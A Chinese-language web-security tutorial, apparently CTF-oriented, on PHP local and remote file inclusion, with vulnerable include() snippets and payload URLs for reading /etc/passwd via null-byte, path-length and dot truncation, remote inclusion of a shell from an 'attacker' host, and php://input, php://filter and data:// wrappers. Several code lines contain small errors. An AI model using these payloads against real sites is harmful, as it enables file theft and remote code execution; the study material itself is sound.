首页 web安全

1. 常见的利用函数

PHP

include()
include_once()
request()
request_once()
fopen()
readfile()
...

JSP

ava.io.File()
ava.io.FileReader()
...

ASP

include file
include virtual
...

2. PHP的漏洞利用

include()
include_once()
request()
request_once()

该文件将作为php代码执行,php内核并不会在意文件的类型
比如

<?php
phpinfo();
?>

网站中包含这样的代码:

<?php
include($_GET[test]);
?>

当我们在网站根目录上传了一个恶意文件flag.txt

我们可以构造payload:

http://www.localhost.com?test=flag.txt

在执行这个URL,会发现这个代码已经被执行了

3. 本地文件包含

能够打开并包含本地文件的漏洞,就称为本地文件包含,简称LFI漏洞
比如:

<?php
file = $_GET[test];

if(file_exists('/home/www/'.$file.'php'))
{
    include '/home/www/'.$file.'php';
}
?>

假设我们要访问/etc/passwd
通过代码审计我们知道是不可能访问这个文件的
因为

3.1 00截断

/etc/passwd.php这个文件是不存在的,所以我们要想办法绕过
由于php内核是C语言写的,在C语言中使用了一些用于处理字符串的函数,在连接字符串时0字节(00)将作为字符串结束符,所以攻击者只要在/etc/passwd后面加一个0字节,就能截断file变量之后的字符串,即:

?file=../../../../../../etc/passwd0

3.2 %00截断

在url编码中,我们可以通过%00截断

条件:

  • 需要magic_quote_gpc=off
  • php版本 < 5.3.4

?file=../../../../../../etc/passwd%00

3.3 路径长度截断

但是由于正常情况下,是不可能会用到0字节的,所以作为开发者可能会过滤掉0字节,比如:

<?php
function getVar($name){
    $value = isset($_GET[$name]) ? $_GET[$name] | null;
    if(is_string($value)){
    $value = str_replace("\0",'',$value);
}
}
?>

这时候我们可能会觉得已经够安全了,其实还是可以绕过的,不同的操作系统对目录的大小都有一定的限制,比如Windows目录最大为256字节,Linux目录最大为4096字节,超过的字符将丢弃,但我们如何构造这样的字符串呢
我们可以通过'./'的方式进行构造
比如:

?file = ././././././././././././././././././abc

或者

?file = ////////////////////////////////////abc

或者

?file = ../1/abc/../1/abc/../1/abc/../1/abc/../1/abc/../1/abc

除了include()等4个函数外,其他能够对文件操作的函数也会出现漏洞

fread()
fopen()
...

3.4 点号截断

?file = ../../../../../../../../../../../../boot.ini/.......[.....].......

只适用Windows,点号需要长于256

4. 远程文件包含

<?php
if($route == "share"){
    require_once $basePath."action/m_share.php";
}else($route == "sharelink"){
    require_once $basePath."action/m_sharelink.php";
}
?>

4.1 '?'绕过

构造变量basePath的值

?basePath=http://attacker/phpshell.txt?

最终的代码执行了

require_once "http://attacker/phpshell.txt?/action/m_share.php";

问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。

4.2 普通远程文件包含

?file=[http|https|ftp]://example.com/shell.txt

需要 allow_url_fopen=On 并且 allow_url_include=On

4.3 利用 PHP 流 input

?file=php://input

需要 allow_url_include=On

4.4 利用 PHP 流 filter

?file=php://filter/convert.base64-encode/resource=index.php

需要 allow_url_include=On

4.5 利用 data URIs

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

需要 allow_url_include=On

4.6 利用 XSS 执行

?file=http://127.0.0.1/path/xss.php?xss=phpcode

需要 allow_url_fopen=Onallow_url_include=On 并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。

5. 参考文献

[1] 关于data://的详细资料
[2] ctf中php常见的考点
[3] CTF wiki




文章评论